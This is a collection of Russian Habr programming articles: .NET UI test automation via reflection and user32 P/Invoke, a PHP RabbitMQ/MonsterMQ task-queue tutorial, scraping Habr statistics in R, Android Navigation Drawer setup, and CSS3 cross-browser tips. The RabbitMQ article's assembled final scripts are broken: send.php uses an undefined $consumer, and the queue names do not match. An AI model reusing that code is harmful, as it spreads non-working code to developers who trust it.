> static object GetControlPropertyValue(Form f, string controlName, string propertyName)
>
> {
>
> if (f.InvokeRequired)
>
> {
>
> object iResult = f.Invoke(
>
> new GetControlPropertyValueHandler(GetControlPropertyValue),
>
> new object[] { f, controlName, propertyName }
>
> );
>
> return iResult;
>
> }
>
> else
>
> {
>
> Type t1 = f.GetType();
>
> FieldInfo fi = t1.GetField(controlName, flags);
>
> object ctrl = fi.GetValue(f);
>
> Type t2 = ctrl.GetType();
>
> PropertyInfo pi = t2.GetProperty(propertyName);
>
> object gResult = pi.GetValue(ctrl, null);
>
> return gResult;
>
> }
>
> }
>
> delegate object GetControlHandler(Form f, string controlName);
>
> static object GetControl(Form f, string controlName)
>
> {
>
> if (f.InvokeRequired)
>
> {
>
> object iCtrl = f.Invoke(
>
> new GetControlHandler(GetControl),
>
> new object[] { f, controlName }
>
> );
>
> return iCtrl;
>
> }
>
> else
>
> {
>
> Type t1 = f.GetType();
>
> FieldInfo fi = t1.GetField(controlName, flags);
>
> object gCtrl = fi.GetValue(f);
>
> return gCtrl;
>
> }
>
> }
>
> delegate object GetFormPropertyValueHandler(Form f, string propertyName);
>
> static object GetFormPropertyValue(Form f, string propertyName)
>
> {
>
> if (f.InvokeRequired)
>
> {
>
> object iResult = f.Invoke(
>
> new GetFormPropertyValueHandler(GetFormPropertyValue),
>
> new object[] { f, propertyName }
>
> );
>
> return iResult;
>
> }
>
> else
>
> {
>
> Type t = f.GetType();
>
> PropertyInfo pi = t.GetProperty(propertyName);
>
> object gResult = pi.GetValue(f, null);
>
> return gResult;
>
> }
>
> }
>
> delegate void SetFormPropertyValueHandler(Form f, string propertyName, object newValue);
>
> static void SetFormPropertyValue(Form f, string propertyName, object newValue)
>
> {
>
> if (f.InvokeRequired)
>
> {
>
> f.Invoke(
>
> new SetFormPropertyValueHandler(SetFormPropertyValue),
>
> new object[] { f, propertyName, newValue }
>
> );
>
> }
>
> else
>
> {
>
> Type t = f.GetType();
>
> PropertyInfo pi = t.GetProperty(propertyName);
>
> pi.SetValue(f, newValue, null);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Свойство InvokeRequired получает значение, показывающее, следует ли вызывающему оператору обращаться к методу invoke во время вызовов метода из элемента управления, так как вызывающий оператор находится не в том потоке, в котором был создан элемент управления [4].
**InvokeMethod** – вызывает метод, указанный в параметрах с указанными параметрами.
**SetControlPropertyValue** – устанавливает свойство указанного контрола.
**GetControlPropertyValue** – получает значение указанного свойства контрола.
**SetFormPropertyValue** – устанавливает указанное свойство формы.
**GetFormPropertyValue** – получает значение свойства формы.
**GetControl** – получает указанный контрол.
Используя данные методы можно создать тестирующее приложение.
> `static void Main(string[] args)
>
> {
>
> string path = @"D:\visual studio 2010\Projects\WindowsFormsApplication1\WindowsFormsApplication1\bin\Debug\aut.exe";
>
> string nameForm = "AUT.Form1";
>
> Form myForm = StartApplication(path, nameForm);
>
> string f1 = "521";
>
> string f2 = "367";
>
> SetControlPropertyValue(myForm, "textBox1", "Text", f1);
>
> SetControlPropertyValue(myForm, "textBox2", "Text", f2);
>
> object ctrl = GetControl(myForm, "button1");
>
> InvokeMethod(myForm, "button1\_Click", ctrl, EventArgs.Empty);
>
> string res = GetControlPropertyValue(myForm, "label1", "Text").ToString();
>
> string resTest = "FAIL";
>
> if (res == "888") resTest = "PASS";
>
> Console.WriteLine("{0} + {1} = {2}. Test {3}", f1, f2, res, resTest);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В текстовых полях устанавливаются необходимые значения, после этого вызывается метод button1\_Click с требуемыми параметрами. После этого получается значение свойства Text контрола label1 и оно сравнивается с требуемым, после чего выводится информация о тесте на экран.
Приведен лишь частный случай использования механизма отражения, тестировщик может дополнить набор тестов.
#### Тестирование основанное на вызове неуправляемого кода.
Для тестирования используется ряд функций из библиотеки user32.dll.
Для импорта функций используется атрибут DllImport.
> `[DllImport("user32.dll", EntryPoint = "FindWindow", CharSet = CharSet.Auto)]
>
> static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
>
>
>
> [DllImport("user32.dll", EntryPoint = "FindWindowEx", CharSet = CharSet.Auto)]
>
> static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
>
>
>
> [DllImport("user32.dll", EntryPoint = "SendMessage", CharSet = CharSet.Auto)]
>
> static extern void SendMessage1(IntPtr hWnd, uint Msg, int wParam, int lParam);
>
>
>
> [DllImport("user32.dll", EntryPoint = "PostMessage", CharSet = CharSet.Auto)]
>
> static extern bool PostMessage1(IntPtr hWnd, uint Msg, int wParam, int lParam);
>
>
>
> [DllImport("user32.dll", EntryPoint = "SendMessage", CharSet = CharSet.Auto)]
>
> static extern int SendMessage3(IntPtr hWndControl, uint Msg, int wParam, byte[] lParam);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Данные функции позволят найти обработчик главной формы, найти требуемые контролы, ввести текст, нажать на кнопки и получить значение контрола.
Для повторного использования определим ряд методов
> `static void ClickKey(IntPtr hControl, VKeys key)
>
> {
>
> PostMessage1(hControl, (int)WMessages.WM\_KEYDOWN, (int)key, 0);
>
> PostMessage1(hControl, (int)WMessages.WM\_KEYUP, (int)key, 0);
>
> }
>
> static void ClickOn(IntPtr hControl)
>
> {
>
> PostMessage1(hControl, (int)WMessages.WM\_LBUTTONDOWN, 0, 0); // button down
>
> PostMessage1(hControl, (int)WMessages.WM\_LBUTTONUP, 0, 0); // button up
>
> }
>
> static void SendChar(IntPtr hControl, char c)
>
> {
>
> uint WM\_CHAR = 0x0102;
>
> SendMessage1(hControl, WM\_CHAR, c, 0);
>
> }
>
> static void SendChars(IntPtr hControl, string s)
>
> {
>
> foreach (char c in s)
>
> {
>
> SendChar(hControl, c);
>
> }
>
> }
>
> static IntPtr FindWindowByIndex(IntPtr hwndParent, int index)
>
> {
>
> if (index == 0)
>
> return hwndParent;
>
> else
>
> {
>
> int ct = 0;
>
> IntPtr result = IntPtr.Zero;
>
> do
>
> {
>
> result = FindWindowEx(hwndParent, result, null, null);
>
> if (result != IntPtr.Zero)
>
> ++ct;
>
> } while (ct < index && result != IntPtr.Zero);
>
> return result;
>
> }
>
> }
>
> static List<IntPtr> GetAllControls(IntPtr hwndParent)
>
> {
>
> IntPtr ctrl = IntPtr.Zero;
>
> List<IntPtr> res = new List<IntPtr>();
>
> ctrl = FindWindowEx(hwndParent, ctrl, null, null);
>
> while (ctrl != IntPtr.Zero)
>
> {
>
> res.Add(ctrl);
>
> ctrl = FindWindowEx(hwndParent, ctrl, null, null);
>
> }
>
> return res;
>
> }
>
> static IntPtr FindMainWindowHandle(string caption)
>
> {
>
> IntPtr mwh = IntPtr.Zero;
>
> bool formFound = false;
>
> int attempts = 0;
>
> do
>
> {
>
> mwh = FindWindow(null, caption);
>
> if (mwh == IntPtr.Zero)
>
> {
>
> Thread.Sleep(100);
>
> ++attempts;
>
> }
>
> else
>
> {
>
> formFound = true;
>
> }
>
> } while (!formFound && attempts < 25);
>
> if (mwh != IntPtr.Zero)
>
> return mwh;
>
> else
>
> throw new Exception("Could not find Main Window");
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Основная задача – определение порядка контролов. Можно получить указатель на контрол, если известно его свойство name/title/caption. Если же это свойство неизвестно, или оно не уникально – необходимо использовать метод FindWindowByIndex. Нулевым контролом будет само окно. Далее контролы следуют в порядке добавления:
> `this.Controls.Add(this.label1);
>
> this.Controls.Add(this.button1);
>
> this.Controls.Add(this.textBox2);
>
> this.Controls.Add(this.textBox1);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Но так как предполагается, что исходный код неизвестен, необходимо воспользоваться утилитой SPY++. В ней виден порядок контролов.
[](https://habrastorage.org/storage/habraeffect/ff/37/ff37fd4b91e170632874ff2274598400.png "Хабрэффект.ру")
Первым номером идет Label, вторым кнопка, третьим и четвертым текстовые поля.
На основе этой информации создается код для тестирования приложения.
> `static void Main(string[] args)
>
> {
>
> string path = @"D:\visual studio 2010\Projects\WindowsFormsApplication1\WindowsFormsApplication1\bin\Debug\aut.exe";
>
> string nameForm = "AUT";
>
> Process p = Process.Start(path);
>
> //запускаем приложение
>
> IntPtr mwh = FindMainWindowHandle(nameForm);
>
> //получаем указатель на главное окно
>
> IntPtr tb1 = FindWindowByIndex(mwh, 3);
>
> IntPtr tb2 = FindWindowByIndex(mwh, 4);
>
> //получаем указатели текстовых полей
>
> string f1 = "521";
>
> SendChars(tb1, f1);
>
> string f2 ="367";
>
> SendChars(tb2, f2);
>
> //пишем туда
>
> IntPtr btn = FindWindowByIndex(mwh, 2);
>
> ClickOn(btn);
>
> //получаем указатель на кнопку и нажимаем на нее
>
> Thread.Sleep(150);
>
> IntPtr lbl = FindWindowByIndex(mwh, 1);
>
> uint WM\_GETTEXT = 0x000D;
>
> byte[] buffer = new byte[256];
>
> string res = null;
>
> int numFetched = SendMessage3(lbl, WM\_GETTEXT, 256, buffer);
>
> res = System.Text.Encoding.Unicode.GetString(buffer);
>
> //получаем содержимое Label
>
> string resTest = "FAIL";
>
> if (res == "888") resTest = "PASS";
>
> Console.WriteLine("{0} + {1} = {2}. Test {3}", f1, f2, res, resTest);
>
> Thread.Sleep(3000);
>
> p.CloseMainWindow();
>
> p.Close();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Заключение
Разработка полноценного инструмента для автоматизированного тестирования не являлась целью данной статьи. В данной статье были лишь показаны механизмы платформы .Net, которые используются для автоматизированного тестирования. За пределами данной статьи остались вопросы, связанные с хранением наборов тестов и сохранением результатов. Не были рассмотрены вопросы выбора цели тестирования, данных, проблемы оракула.
#### Список источников
1. [swebok.sorlik.ru/4\_software\_testing.html](http://swebok.sorlik.ru/4_software_testing.html) IEEE Guide to Software Engineering Body of Knowledge, SWEBOK, 2004. Основы Программной Инженерии. Перевод Сергей Орлик.
2. Сэм Канер, Джек Фолк, Енг Кек Нгуен. Тестирование программного обеспечения. Фундаментальные концепции менеджмента бизнес-приложений. ДиаСофт, 2001.
3. [msdn.microsoft.com/ru-ru/library/ms173183.aspx](http://msdn.microsoft.com/ru-ru/library/ms173183.aspx) — Отражение (C# и Visual Basic).
4. [msdn.microsoft.com/ru-ru/library/system.windows.forms.control.invokerequired.aspx](http://msdn.microsoft.com/ru-ru/library/system.windows.forms.control.invokerequired.aspx) — Библиотека классов платформы .NET Framework. Свойство Control.InvokeRequired.
5. [msdn.microsoft.com/ru-ru/library/26thfadc.aspx](http://msdn.microsoft.com/ru-ru/library/26thfadc.aspx) — Использование неуправляемых функций DLL.
6. James D. McCaffrey. Net test automation recipes: a problem-solution approach. [books.google.ru/books?id=3vN9zsMLvxkC](http://books.google.ru/books?id=3vN9zsMLvxkC)
7. [www.automatedtestinginstitute.com/home/index.php?option=com\_content&task=view&id=1312&option=com\_content&Itemid=1000](http://www.automatedtestinginstitute.com/home/index.php?option=com_content&task=view&id=1312&option=com_content&Itemid=1000) UI Automation Beneath the Presentation Layer. Bj Rollison. Ссылка на журнал с полной версией статьи. [www.automatedtestinginstitute.com/home/ASTMagazine/2010/AutomatedSoftwareTestingMagazine\_June2010.pdf](http://www.automatedtestinginstitute.com/home/ASTMagazine/2010/AutomatedSoftwareTestingMagazine_June2010.pdf)
8. [msdn.microsoft.com/en-us/magazine/cc163864.aspx](http://msdn.microsoft.com/en-us/magazine/cc163864.aspx) Lightweight UI Test Automation with .NET. James McCaffrey.
9. [habrahabr.ru/blogs/net/58582](http://habrahabr.ru/blogs/net/58582/) NET в unmanaged окружении: platform invoke или что такое LPTSTR.
10. [PInvoke.net](http://pinvoke.net)
[Исходный код проекта](http://dl.dropbox.com/u/4226117/Testing_dotNet.zip) | https://habr.com/ru/post/100749/ | null | ru | null |
# Использование RabbitMQ вместе с MonsterMQ часть 2
*(Изображение взято с [официального сайта RabbitMQ](https://www.rabbitmq.com/))*
В [первой статье](https://habr.com/ru/post/488850/) мы написали две программы на PHP, которые используют RabbitMQ: одна посылала сообщения, вторая принимала. В этой статье мы разберём как создать очередь, которая будет распределять задачи, затрачивающие значительное количество времени, среди многих воркеров (обработчиков сообщений).
**Оглавление всех частей:**
[Часть 1](https://habr.com/ru/post/488850/)
[Часть 2](https://habr.com/ru/post/489022/)
[Часть 3](https://habr.com/ru/post/489692/)
[Часть 4](https://habr.com/ru/post/490194/)
[Часть 5](https://habr.com/ru/post/490678/)
Основная идея состоит в том чтобы не выполнять, затрачивающие значительное количество времени задачи сразу, а добавлять их в очередь, в виде сообщения. Позже работающий воркер получает сообщение из очереди, которую он потребляет и выполняет задачу как бы «в фоне».
Эта концепция очень актуальна для web-приложений, где, например, может требоваться выполнение каких-нибудь затратных по времени задач, результат которых не требуется сразу, такими задачами могут быть например отправка email или выполнение HTTP-запроса к стороннему приложению (например через libcurl на PHP).
### Приготовление
В этой части мы будем отправлять сообщения, которые будут представлять задачи для воркеров. Поскольку у нас нет реальных задач, вроде обработки изображений или генерирования pdf-файлов мы притворимся что мы заняты использую функцию **sleep()**. Мы будем принимать число точек в сообщении за сложность задачи. Каждая точка будет означать одну секунду работы, например сообщение **Hello...** будет занимать три секунды работы.
Мы слегка изменим наш скрипт **send.php** из прошлого урока, чтобы он мог отправлять произвольные сообщения.
```
try {
$producer = \MonsterMQ\Client\Producer();
$producer->connect('127.0.0.1', 5672);
$producer->logIn('guest', 'guest');
$producer->queue('test-queue')->declare();
$message = implode(' ', array_slice($argv, 1));
$message = empty($message) ? 'Hello world!' : $message;
$producer->publish($message, 'test-queue');
echo "\n Sent {$message} \n";
} catch(\Exception $e) {
var_dump($e);
}
```
Наш скрипт **receive.php** также требует изменений. Он должен имитировать работу в течении одной секунды для каждой точки в принятом сообщении. Давайте переименуем файл в **worker.php** и напишем в нём следующий код:
```
try {
$consumer = \MonsterMQ\Client\Consumer();
$consumer->connect('127.0.0.1', 5672);
$consumer->logIn('guest', 'guest');
$consumer->queue('test-queue')->declare();
$consumer->consume('test-queue');
$consumer->wait(function ($message, $channelNumber) use ($consumer){
echo "\n Received: {$message}";
sleep(substr_count($message, '.'));
echo "\n Done";
});
} catch(\Exception $e) {
var_dump($e);
}
```
Далее запустим оба скрипта в разных терминалах:
```
# Shell 1
php worker.php
```
```
# Shell 2
php send.php "A very hard task which takes two seconds.."
```
Одним из преимуществ использования очередей задач является возможность распределения работы среди многих воркеров. Давайте попробуем запустить сразу два скрипта **worker.php** в двух разных терминалах. А в третьем будем посылать сообщения скриптом **send.php**
```
# Shell 1
php worker.php
```
```
# Shell 2
php worker.php
```
```
# Shell 3
php new_task.php First message.
php new_task.php Second message..
php new_task.php Third message...
php new_task.php Fourth message....
php new_task.php Fifth message.....
```
Далее посмотрим что вывели наши воркеры:
```
# shell 1
php worker.php
# Received: First message.
# Done
# Received: Third message...
# Done
# Received: Fifth message.....
# Done
```
```
# shell 2
php worker.php
# Received: Second message..
# Done
# Received: Fourth message....
# Done
```
По-умолчанию RabbitMQ будет отправлять каждое следующее сообщение следующему потребляющему получателю по очереди. В среднем каждый получатель получит одинаковое число сообщений, этот способ распределения сообщений называется round-robin (по-кругу). Попробуйте это с тремя или более воркерами.
### Подтверждение сообщений
Выполнение задач может занимать определённое количество времени. Возможно вас интересует что будет с сообщением, если завершить работу получателя, который не успел обработать это сообщение до конца. С нашим текущим кодом сообщение будет возвращено в очередь, так как в MonsterMQ по-умолчанию включены подтверждения сообщений (message acknowledgements).
Когда мы используем подтверждение сообщений — мы говорим RabbitMQ, что сообщение было обработано и он в праве удалить его из очереди. Если получатель завершил свою работу, не отослав подтверждения (например в результате непредвиденного завершения TCP-соединения), RabbitMQ поймёт что сообщение не было обработано и вернёт его обратно в очередь, пытаясь доставить его другим доступным воркерам. Таким образом вы можете быть уверены в том, что сообщения не потеряются, даже в случае непредвиденного завершения работы какого-нибудь из воркеров.
Чтобы отключить подтверждения сообщений в MonsterMQ вы можете передать значение **true** как второй аргумент методу **consume()**
```
$consumer->consume('test-queue', true);
```
Забывание подтверждения полученных сообщений, довольно распространённая, легко-допустимая ошибка, которая может привести к серьёзным последствиям. Если это произойдёт, сообщения будут доставляться снова и снова и также будут накапливаться в очередях занимая всё больше и больше памяти. Для отладки этой ошибки используйте **rabbitmqctl**, чтобы вывести поле **messages\_unacknowledged**
```
sudo rabbitmqctl list_queues name messages_ready messages_unacknowledged
```
На windows отбросьте sudo
```
rabbitmqctl.bat list_queues name messages_ready messages_unacknowledged
```
### Сохранность очередей
Несмотря на то, что наши сообщения не будут потеряны, если какой-нибудь из воркеров неожиданно завершит свою работу, тем не менее мы всё ещё можем потерять созданные очереди если завершить работу RabbitMQ.
Чтобы обезопасить себя от потери очередей, нужно объявить очередь как **durable** (стойкая, долговечная). Поскольку очереди идемпотентны, то есть мы не можем изменить или создать её заново, вызывая метод объявления с тем же именем, нам придётся объявить новую очередь. Сделаем это следующим образом
```
$consumer->queue('new-queue')->setDurable()->declare();
```
Не забудьте изменить код объявления очереди и в коде отправителя.
### Честное распределение сообщений
Вы могли заметить, что сообщения между двумя нашими воркерами, до сих пор распределяются не совсем честно. Если например каждое чётное сообщение является трудоёмким, а каждое нечётное сообщение обрабатывается быстро, то один воркер получающий трудоёмкие сообщения будет всегда занят, в то время когда второй будет простаивать. Чтобы избежать этого можно использовать **quality of service**. Давайте добавим следующую строку в наш код
```
$consumer->qos()->prefetchCount(1)->perConsumer()->apply();
```
Эта строка говорит RabbitMQ не отправлять сообщения получателю, пока он не обработает и не подтвердит текущее сообщение. **perConsumer()** применяет quality of service, ко всем каналам получателя, используйте метод **perChannel()** если хотите применить quality of service только к текущему каналу.
*(Изображение взято с [официального сайта RabbitMQ](https://www.rabbitmq.com/))*
### Соберём весь код вместе
Так будет выглядеть наш **send.php**(отправитель)
```
try {
$producer = \MonsterMQ\Client\Producer();
$producer->connect('127.0.0.1', 5672);
$producer->logIn('guest', 'guest');
$consumer->queue('new-queue')->setDurable()->declare();
$message = implode(' ', array_slice($argv, 1));
$message = empty($message) ? 'Hello world!' : $message;
$producer->publish($message, 'test-queue');
echo "\n Sent {$message} \n";
} catch(\Exception $e) {
var_dump($e);
}
```
А так получатель **worker.php**
```
try {
$consumer = \MonsterMQ\Client\Consumer();
$consumer->connect('127.0.0.1', 5672);
$consumer->logIn('guest', 'guest');
$consumer->queue('new-queue')->setDurable()->declare();
$consumer->qos()->prefetchCount(1)->perConsumer()->apply();
$consumer->consume('test-queue');
$consumer->wait(function ($message, $channelNumber) use ($consumer){
echo "\n Received: {$message}";
sleep(substr_count($message, '.'));
echo "\n Done";
});
} catch(\Exception $e) {
var_dump($e);
}
```
На этом всё, в следующем уроке мы научимся отправлять сообщения многим получателям из одной очереди. | https://habr.com/ru/post/489022/ | null | ru | null |
# Язык R в помощь хабра-статисту
На написание данной статьи меня сподвиг следующий топик: [В поисках идеального поста, или загадки хабра](http://habrahabr.ru/post/162209/). Дело в том, что после ознакомления с языком R я крайне искоса смотрю на любые попытки, что-то посчитать в экселе. Но надо признать, что и с R я познакомился лишь неделю назад.
Цель: Собрать средствами языка R данные с любимого HabraHabr'а и провести, собственно то, для чего и был создан язык R, а именно: статистический анализ.
Итак, прочтя этот топик вы узнаете:
* Как можно использовать R для извлечения данных из Web ресурсов
* Как преобразовывать данные для последующего анализа
* Какие ресурсы крайне рекомендуются к прочтению всем желающим познакомиться с R поближе
Ожидается, что читатель достаточно самостоятелен, чтобы самому ознакомиться с основными конструкциями языка. Для этого как никак лучше подойдут ссылки в конце статьи.
#### Подготовка
Нам понадобятся следующие ресурсы:
* [Интерпретатор языка R](http://www.r-project.org/)
* [RStudio — очень удобная IDE для работы с R](http://www.rstudio.com/)
После установки вы должны увидеть что-то типа этого:
В правой нижней панели на вкладке Packages вы можете найти список установленных пакетов. Нам понадобится дополнительно установить следующие:
* Rcurl — для работы с сетью. Все кто работал с CURL сразу поймет все открывающиеся возможности.
* XML — пакет для работы с DOM деревом XML документа. Нам понадобится функционал нахождения элементов по xpath
Жмите «Install Packages», выбирайте нужные, а затем выделите их галочкой, чтобы они загрузились в текущее окружение.
#### Получаем данные
Чтобы получить DOM объект документа полученного из интернета достаточно выполнить следующие строчки:
```
url<-"http://habrahabr.ru/feed/posts/habred/page10/"
cookie<-"Мои сверхсекретные печеньки"
html<-getURL(url, cookie=cookie)
doc<-htmlParse(html)
```
Обратите внимание на передаваемые cookie. Если вы захотите повторить эксперемент, то вам надо будет подставить свои cookie, которые получает ваш браузер после авторизации на сайте. Далее нам надо получить интересующие нас данные, а именно:
* Когда запись была опубликована
* Сколько было просмотров
* Сколько человек занесло запись в избранные
* Сколько было нажатий на +1 и -1 (суммарно)
* Сколько было +1 нажатий
* Сколько -1
* Текущий рейтинг
* Количество комментариев
Не в даваясь особо в подробности приведу сразу код:
```
published<-xpathSApply(doc, "//div[@class='published']", xmlValue)
pageviews<-xpathSApply(doc, "//div[@class='pageviews']", xmlValue)
favs<-xpathSApply(doc, "//div[@class='favs_count']", xmlValue)
scoredetailes<-xpathSApply(doc, "//span[@class='score']", xmlGetAttr, "title")
scores<-xpathSApply(doc, "//span[@class='score']", xmlValue)
comments<-xpathSApply(doc, "//span[@class='all']", xmlValue)
hrefs<-xpathSApply(doc, "//a[@class='post_title']", xmlGetAttr, "href")
```
Здесь мы использовали поиск элементов и атрибутов с помощью xpath.
Далее крайне рекомендуется сформировать из полученных данных data.frame — это аналог таблиц базы данных. Можно будет делать запросы разного уровня сложности. Иногда диву даешься, как элегантно можно сделать в R ту или иную вещь.
```
posts<-data.frame(hrefs, published, scoredetailes, scores, pageviews, favs, comments)
```
После формирования data.frame необходимо будет подправить полученные данные: преобразовать строчки в числа, получить реальную дату в нормальном формате и т.д. Делаем это таким образом:
```
posts$comments<-as.numeric(as.character(posts$comments))
posts$scores<-as.numeric(as.character(posts$scores))
posts$favs<-as.numeric(as.character(posts$favs))
posts$pageviews<-as.numeric(as.character(posts$pageviews))
posts$published<-sub(" декабря в ","/12/2012 ",as.character(posts$published))
posts$published<-sub(" ноября в ","/11/2012 ",posts$published)
posts$published<-sub(" октября в ","/10/2012 ",posts$published)
posts$published<-sub(" сентября в ","/09/2012 ",posts$published)
posts$published<-sub("^ ","",posts$published)
posts$publishedDate<-as.Date(posts$published, format="%d/%m/%Y %H:%M")
```
Так же полезно добавить дополнительные поля, которые вычисляются из уже полученных:
```
scoressplitted<-sapply(strsplit(as.character(posts$scoredetailes), "\\D+", perl=TRUE),unlist)
if(class(scoressplitted)=="matrix" && dim(scoressplitted)[1]==4)
{
scoressplitted<-t(scoressplitted[2:4,])
posts$actions<-as.numeric(as.character(scoressplitted[,1]))
posts$plusactions<-as.numeric(as.character(scoressplitted[,2]))
posts$minusactions<-as.numeric(as.character(scoressplitted[,3]))
}
posts$weekDay<-format(posts$publishedDate, "%A")
```
Здесь мы всем известные сообщения вида «Всего 35: ↑29 и ↓6» преобразовали в массив данных по тому, сколько вообще было произведено действий, сколько было плюсов и сколько было минусов.
На этом, можно сказать, что все данные получены и преобразованы к готовому для анализа формату. Код выше я оформил в виде функции готовой к использованию. В конце статьи вы сможете найти ссылку на исходник.
Но внимательный читатель уже заметил, что таким образом, мы получили данные лишь для одной страницы, чтобы получить для целого ряда. Чтобы получить данные для целого списка страниц была написана следующая функция:
```
getPostsForPages<-function(pages, cookie, sleep=0)
{
urls<-paste("http://habrahabr.ru/feed/posts/habred/page", pages, "/", sep="")
ret<-data.frame()
for(url in urls)
{
ret<-rbind(ret, getPosts(url, cookie))
Sys.sleep(sleep)
}
return(ret)
}
```
Здесь мы используем системную функцию Sys.sleep, чтобы не устроить случайно хабраэффект самом хабру:)
Данную функцию предлагается использовать следующим образом:
```
posts<-getPostsForPages(10:100, cookie,5)
```
Таким образом мы скачиваем все страницы с 10 по 100 с паузой в 5 секунд. Страницы до 10 нам не интересны, так как оценки там еще не видны. После нескольких минут ожидания все наши данные находятся в переменной posts. Рекомендую их тут же сохранить, чтобы каждый раз не беспокоить хабр! Делается это таким образом:
```
write.csv(posts, file="posts.csv")
```
А считываем следующим образом:
```
posts<-read.csv("posts.csv")
```
Ура! Мы научились получать статистические данные с хабра и сохранять их локально для следующего анализа!
#### Анализ данных
Этот раздел я оставлю недосказанным. Предлагаю читателю самому поиграться с данными и получить свои долеко идущие выводы. К примеру, попробуйте проанализировать зависимость настроения плюсующих и минусующих в зависимости от дня недели. Приведу лишь 2 интересных вывода, которые я сделал.
##### Пользователи хабра значительно охотнее плюсуют, чем минусуют.
Это видно по следующему графику. Заметьте, на сколько «облако» минусов равномернее и шире, чем разброс плюсов. Корреляция плюсов от количества просмотров значительно сильнее, чем для минусов. Другими словами: плюсуем не думая, а минусуем за дело!
(Прошу прощения за надписи на графиках: пока не разобрался, как выводить их правильно на русском языке)
##### Действительно есть несколько классов постов
Это утверждение в упомянутом посте использовалось как данность, но я хотел убедиться в этом в действительности. Для этого достаточно посчитать среднюю долю плюсов к общему количеству действий, тоже самое для минусов и разделить второе на первое. Если бы все было однородно, то множество локальных пиков на гистограмме мы не должны наблюдать, однако они там есть.
Как вы можете заметить, есть выраженные пики в районе 0.1, 0.2 и 0.25. Предлагаю читателю самому найти и «назвать» эти классы.
Хочу заметить, что R богата алгоритмами для кластеризации данных, для аппроксимации, для проверки гипотез и т.п.
#### Полезные ресурсы
Если вы действительно хотите погрузиться в мир R, то рекомендую следующие ссылки. Пожалуйста, поделитесь в комментариях вашими интересными блогами и сайтами на тему R. Есть кто-нибудь пишущий об R на русском?
* [Бесплатные online курсы на CodeSchool по R](http://www.codeschool.com/courses/try-r)
* [Курсы на Coursera по анализу данных](https://www.coursera.org/course/compdata)
* [Quick R](http://www.statmethods.net/)
* [R-bloggers](http://www.r-bloggers.com)
* [is.R()](http://is-r.tumblr.com/)
Считаю, что такие языки как R, haskell, lisp, javascript, python — должен знать каждый уважающий себя программист: если не для работы, то как минимум для расширения кругозора!
P.S. [Обещанный исходник](http://pastebin.com/Eqap6X1m) | https://habr.com/ru/post/162583/ | null | ru | null |
# Как легко сделать Navigation Drawer и вкладки, используемые в популярных приложениях от Google
При использовании популярного приложения Play Маркет многие обратили внимание на вкладки для переключения контента. Такое применение вкладок можно найти и в других приложениях от Google, таких как Play Музыка, Play Пресса.
На этой почве возникает интерес, а иногда и необходимость (если заказчик просит) реализовать увиденное. Я не стал исключением и при проектировании нового приложения, дизайн которого был набросан на черновике, присутствовал очень схожий дизайн, хотя и имел всего несколько вкладок. Казалось бы, что сложного? Сейчас откроем официальную документацию, просмотрим необходимые разделы и приступим к делу. Но, изучив документацию, не смог обнаружить соответствующих примеров — и тут же возник новый вопрос. Почему Android разработчики из компании Google по умолчанию не предоставляют примеров с необходимой функциональностью, чтобы сделать это довольно просто, ведь это реализовано в каждом их приложении? Также, погуглив, нашлись аналогичные вопросы на Stack Overflow. Исходя из этого, оказалось, что существует проблема или, по крайней мере, нераскрытый вопрос, в котором следует разобраться.
Ниже хочу рассказать о том, как всё же можно реализовать паттерн Navigation Drawer вместе с вкладками, как в популярных приложениях от Google.
В примере будет использоваться интегрированная среда разработки Eclipse, но все действия можно будет воспроизвести, используя и другие среды, к примеру, недавно вышедшую и набирающую популярность Android Studio от компании Google, основанную на IntelliJ IDEA.
#### **Создание проекта**
Создадим новый проект. Для этого перейдем в File > New > Android Application Project. Заполним поля, такие как имя приложения, пакета и версии SDK. Далее проследуем по экранам, нажимая клавишу Next и оставляя всё по умолчанию.
Среда разработки для нас создаст новый проект со стандартной структурой.
Пример будет работать, начиная с API версии 8. Это обосновано тем, что пользователи ещё пользуются девайсами со старой версией Android. Ниже приведены данные о количестве устройств, работающих под управлением различных версий платформы на состояние 12.08.2014.
#### **Action Bar для API 8**
Но ActionBar, сочетающий в себе заголовок и меню, появился начиная с Android 3.0 (API 11). Для того, чтобы его использовать, необходимо подключить к проекту библиотеку Android-Support-v7-Appcompat, любезно предоставленную компанией Google. Детальную инструкцию по добавлению библиотеки к проекту можно найти по адресу: [developer.android.com/tools/support-library/setup.html](https://developer.android.com/tools/support-library/setup.html)
Есть две возможности добавить библиотеку к проекту — без использования ресурсов и с использованием. В реализации этого проекта будет использоваться библиотека с использованием ресурсов. После того, как библиотека будет добавлена в дерево проектов, необходимо перейти в Properties, нажав по проекту правой клавишей мыши и выбрать в категориях Android, затем нажать клавишу Add. В появившемся списке выбрать android-support-v7-appcompat и нажать OK > Apply > OK. Библиотека добавлена в проект. Но если попытаться запустить приложение, то ActionBar будет ещё не виден. Необходимо в res/values/styles.xml изменить строчку: | https://habr.com/ru/post/236567/ | null | ru | null |
# Кроссбраузерные CSS
Добрый день Уважаемые!
В этом посте я хочу поделиться своими личными наблюдениями и выводами в области применения html5 & css3.
А именно использование таких нововведений как border-radius, box-shadow, opacity, linear-gradient.
Для каждого свойства я буду приводить табличку с этого [сайта](http://caniuse.com/)(не сочтите за рекламу, достаточно наглядно описывается поддержка свойств). Так же буду описывать свои личные наблюдения и к какому решению они меня привели. В основном я использую либо [PIE.htc](http://css3pie.com/)(для IE), либо вёрстка эффектов с помощью background'a
Начнём по порядку:
#### Border-radius
Здесь наглядно видно что свойство практически везде поддерживается. Остаётся решить проблему с FF 3.6 и IE7 — IE8.
* FF 3.6: в 2012 году я считаю что этот браузер можно отнести к динозаврам, и не обязательно писать из-за него вендорное свойство для Mozilla. На крайний случай я думаю что он может жить и с квадратными уголками.
* IE: эта проблема легко решается с помощью PIE.htc
Таким образом код получается примерно следующим:
```
element{
border-radius: 10px;
behavior: url("public/htc/PIE.htc");
}
```
*Поддержка: IE6++, FF4++, GC1++, Opera10.5+, Safari5+*
#### Box-shadow
